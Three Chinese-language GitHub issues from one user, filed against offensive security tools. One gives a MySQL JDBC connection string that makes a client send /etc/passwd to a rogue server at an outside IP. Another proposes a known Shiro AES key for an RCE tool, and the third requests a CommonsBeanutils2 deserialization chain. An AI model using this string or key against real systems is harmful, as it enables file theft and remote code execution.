yaoxiaodai

Results 3 issues of yaoxiaodai

执行jdbc任意文件读取的时候,报错“但客户端的功能被“allowLoadLocalInfile”禁用 ”。这个可以通过修改mysql配置生效,但是发现生效后连接的时候还是会报以上问题。 最后通过jdbc连接的时候添加参数解决 添加`allowLoadLocalInfile=true` 最终8.x的语句如下 String DB_URL = "jdbc:mysql://39.10x.xx.xx:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&allowLoadLocalInfile=true&user=fileread_/etc/passwd

我又又又又来了。 测试中发现又一些key不全,建议师傅添加 ZnJlc2h6Y24xMjM0NTY3OA== ![image](https://user-images.githubusercontent.com/28942595/130915209-952fa2f0-3a8f-4cfa-8223-45c021ec206e.png) 大字典key 如下: [keys.conf.big.zip](https://github.com/wyzxxz/shiro_rce_tool/files/7052216/keys.conf.big.zip)

今天在项目遇到了CommonsBeanutils2 ,但是没有利用链,希望师傅添加新链,本来想直接在师傅的工具上修改,发现师傅项目没有源码